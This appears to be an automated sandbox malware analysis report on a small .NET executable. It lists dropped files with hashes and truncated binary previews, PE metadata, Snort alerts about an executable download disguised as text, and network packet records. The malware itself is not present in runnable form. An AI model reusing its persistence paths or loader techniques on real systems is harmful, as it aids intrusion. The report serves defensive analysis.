Process:	C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	5.363036002058323
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhwE4Ty1KIE4oKNzKoZAE4KzeRE4Kx1qE4j:MxHKlYHKh3owH8tHo6hAHKzeRHKx1qHj
MD5:	F1F711CFAECF73CB41019220224BA3D7
SHA1:	3FBBB184F8CB609B0854E6966021CF94CD684C8A
SHA-256:	B8374EA1B272A4A1D9B698BB7E4589191563DE7AEB03AB4B1BD56A09A5F5C5B1
SHA-512:	CE6358F1D7E440C0873DFD65C9DC14804749CA41DB3582A59314C01FF10CD6A037A720777D6C14EC454EED400B2DB52CFBFC3F1954C16BFF207F76E9A4847ADF
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Net.Http, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Net.Http\bb5812ab3cec92427da8c5c696e5f731\System.Net.Http.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.X

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\file.exe.log

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	5.363036002058323
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhwE4Ty1KIE4oKNzKoZAE4KzeRE4Kx1qE4j:MxHKlYHKh3owH8tHo6hAHKzeRHKx1qHj
MD5:	F1F711CFAECF73CB41019220224BA3D7
SHA1:	3FBBB184F8CB609B0854E6966021CF94CD684C8A
SHA-256:	B8374EA1B272A4A1D9B698BB7E4589191563DE7AEB03AB4B1BD56A09A5F5C5B1
SHA-512:	CE6358F1D7E440C0873DFD65C9DC14804749CA41DB3582A59314C01FF10CD6A037A720777D6C14EC454EED400B2DB52CFBFC3F1954C16BFF207F76E9A4847ADF
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Net.Http, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Net.Http\bb5812ab3cec92427da8c5c696e5f731\System.Net.Http.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.X

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\txxbiwtbs.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1242
Entropy (8bit):	5.363036002058323
Encrypted:	false
SSDEEP:	24:ML9E4KlKDE4KhKiKhwE4Ty1KIE4oKNzKoZAE4KzeRE4Kx1qE4j:MxHKlYHKh3owH8tHo6hAHKzeRHKx1qHj
MD5:	F1F711CFAECF73CB41019220224BA3D7
SHA1:	3FBBB184F8CB609B0854E6966021CF94CD684C8A
SHA-256:	B8374EA1B272A4A1D9B698BB7E4589191563DE7AEB03AB4B1BD56A09A5F5C5B1
SHA-512:	CE6358F1D7E440C0873DFD65C9DC14804749CA41DB3582A59314C01FF10CD6A037A720777D6C14EC454EED400B2DB52CFBFC3F1954C16BFF207F76E9A4847ADF
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Net.Http, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Net.Http\bb5812ab3cec92427da8c5c696e5f731\System.Net.Http.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.X

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:NlllulTkklh:NllUokl
MD5:	8F489B5B8555D6E9737E8EE991AA32FD
SHA1:	05B412B1818DDB95025A6580D9E1F3845F6A2AFC
SHA-256:	679D924F42E8FC107A7BE221DE26CCFEBF98633EA2454D3B4E0D82ED66E3E03D
SHA-512:	97521122A5B64237EF3057A563284AC5C0D3354E8AC5AA0DE2E2FA61BA63379091200D1C4A36FABC16B049E83EF11DBB62E1987A6E4D6A4BCD5DDB27E7BD9F49
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	7168
Entropy (8bit):	4.603088616512972
Encrypted:	false
SSDEEP:	96:UbeKbfVuzznTurnqqXz18S355vr0xvBRl4gLab/N6aigzQ7MzNt:UHwznTurnqqXx8A5ofto/caigzk2
MD5:	AF4A6267CE7F24818FEEB7D2D62E72C2
SHA1:	DD780F62E9539C39244526E26E518663B53FB20E
SHA-256:	43261F85DB3AB88ED6E6B00B4227C5E8E90DDBCABB491109196A0643AEB3D313
SHA-512:	0A5BF9C2EBA71A6F313DAE9C288C4E616A3661CFCFAB00D30784719807006B734BD187E4C6050DDA49736A11B003AA62F21BFAC1958155B6308929C99ED4C23B
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 13%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....cpf.............................0... ...@....@.. ....................................`.................................t0..J....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................0......H........$..d............................................................0...........:......+s.,.8q...r...p8q...8v...8{...8\|...8....8....8....s.......+%...o......(.........%-.2....o......X...,..,..o....2.....P.8....s....8....(....8....o....8.....8....(....8z....8y...o....8t....8s...&.3.....*.................0...........,9.8.....-.+.+.+..-.&.$(....+.o....+.(....+..+.o....(......8.....8....9r....9l....8}....,..,.+.o........+.o....(.......,D...%-).+'...........r...p .......o....

C:\Users\user\AppData\Local\RegisteredChannels\hwrtalnmj\TypeId.exe:Zone.Identifier

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	26
Entropy (8bit):	3.95006375643621
Encrypted:	false
SSDEEP:	3:ggPYV:rPYV
MD5:	187F488E27DB4AF347237FE461A079AD
SHA1:	6693BA299EC1881249D59262276A0D2CB21F8E64
SHA-256:	255A65D30841AB4082BD9D0EEA79D49C5EE88F56136157D8D6156AEF11C12309
SHA-512:	89879F237C0C051EBE784D0690657A6827A312A82735DA42DAD5F744D734FC545BEC9642C19D14C05B2F01FF53BC731530C92F7327BB7DC9CDE1B60FB21CD64E
Malicious:	true
Preview:	[ZoneTransfer]....ZoneId=0

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2f4b4zfu.lqx.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_hrglc3bl.2fc.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lgrg4qxr.1pw.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_lkpqi1bm.t4x.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nzoyyr3e.srp.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ue3xfck3.ofe.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_xiv0j5rn.pb1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ymi0bnsn.sm1.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\txxbiwtbs.exe

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	7168
Entropy (8bit):	4.594339552116368
Encrypted:	false
SSDEEP:	96:hVoYfVBznTurnqqXi+RpKr5rUvr0JBRl4gFJNuaDXc6zNt:hv/znTurnqqX3w1oo7fJYaDs8
MD5:	E8CE921868FE7C47FD2C236555EE5BFD
SHA1:	BE76C59C6F1256B3A64562616A87F6F4B8B27DD1
SHA-256:	64244E9D53EA984B731F67B6518BF4A0F030B8B76981AB5D2D36F1C5D4FAB955
SHA-512:	41E2CB1F4C2B20D029FBBDCE4886603F8EF3CE0CA9ED763BE45801CB0085E5C44C0EA8ED36A1207E0A21977681C6865991D321734BDBF977EA48707C1FFA309D
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...?gpf.............................0... ...@....@.. ....................................`.................................\|0..J....@.......................`....................................................... ............... ..H............text........ ...................... ..`.rsrc........@......................@..@.reloc.......`......................@..B.................0......H........$..l...........................................................+.(....+...0...........,9.8.....-.+.+.+..-.&.$(....+.o....+.(....+..+.o....(......8.....8....9r....9l....8}....,..,.+.o........+.o....(.......,D...%-).+'...........r...p .......o....&..&....X....i2...o....(......*.8D....8v...(....8r....8}.....4......'0........X..k....................z.8........0...........:......+s.,.8q...r#..p8q...8v...8{...8\|...8....8....8....s.......+%...o......(.........%-.2....o...

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	4.603088616512972
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	file.exe
File size:	7'168 bytes
MD5:	af4a6267ce7f24818feeb7d2d62e72c2
SHA1:	dd780f62e9539c39244526e26e518663b53fb20e
SHA256:	43261f85db3ab88ed6e6b00b4227c5e8e90ddbcabb491109196a0643aeb3d313
SHA512:	0a5bf9c2eba71a6f313dae9c288c4e616a3661cfcfab00d30784719807006b734bd187e4c6050dda49736a11b003aa62f21bfac1958155b6308929c99ed4c23b
SSDEEP:	96:UbeKbfVuzznTurnqqXz18S355vr0xvBRl4gLab/N6aigzQ7MzNt:UHwznTurnqqXx8A5ofto/caigzk2
TLSH:	95E18510A3F94737DA670B7F9DB3964102B8FB118423CF6E2DC4920FAE11B955622B76
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....cpf.............................0... ...@....@.. ....................................`................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x4030be
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x6670631C [Mon Jun 17 16:23:56 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x3074	0x4a	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x4000	0x59e	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x6000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x10c4	0x1200	076a523dfabfefb0396607bddfad06bb	False	0.5251736111111112	data	5.167305380306296	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x4000	0x59e	0x600	3195e732dafe6dc871a7ce98075d5d4d	False	0.4231770833333333	data	4.078999111395673	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x6000	0xc	0x200	a7c8cac5b3f4d484fec827f05dbf629f	False	0.04296875	data	0.07763316234324169	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x405c	0x31c	data			0.42839195979899497
RT_MANIFEST	0x43b4	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5489795918367347

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
06/17/24-16:18:47.509452	TCP	2017962	ET TROJAN PE EXE or DLL Windows file download disguised as ASCII	443	49732	188.114.96.3	192.168.2.4
06/17/24-16:18:41.893163	TCP	2017962	ET TROJAN PE EXE or DLL Windows file download disguised as ASCII	443	49731	188.114.96.3	192.168.2.4
06/17/24-16:18:41.893163	TCP	2022640	ET TROJAN PE EXE or DLL Windows file download Text M2	443	49731	188.114.96.3	192.168.2.4
06/17/24-16:18:47.509452	TCP	2022640	ET TROJAN PE EXE or DLL Windows file download Text M2	443	49732	188.114.96.3	192.168.2.4
06/17/24-16:18:42.601428	TCP	2020482	ET CURRENT_EVENTS DRIVEBY GENERIC ShellExecute in Hex No Seps	443	49731	188.114.96.3	192.168.2.4

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jun 17, 2024 16:18:41.001208067 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:41.001266956 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:41.001329899 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:41.044262886 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:41.044298887 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:41.664727926 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:41.664844036 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:41.668445110 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:41.668497086 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:41.668910980 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:41.729975939 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:41.758552074 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:41.804507971 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:41.893158913 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:41.893233061 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:41.893282890 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:41.893317938 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:41.893337965 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:41.893354893 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:41.893390894 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:41.893486023 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:41.893534899 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:41.893562078 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:41.893582106 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:41.893629074 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:41.893639088 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:41.941934109 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.009377956 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.009463072 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.009500980 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.009516001 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.009543896 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.009589911 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.009598970 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.009861946 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.009917021 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.009922028 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.009938955 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.009977102 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.010402918 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.010492086 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.010529041 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.010529995 CEST	49731	443	192.168.2.4	188.114.96.3
Jun 17, 2024 16:18:42.010543108 CEST	443	49731	188.114.96.3	192.168.2.4
Jun 17, 2024 16:18:42.010586977 CEST	49731	443	192.168.2.4	188.114.96.3
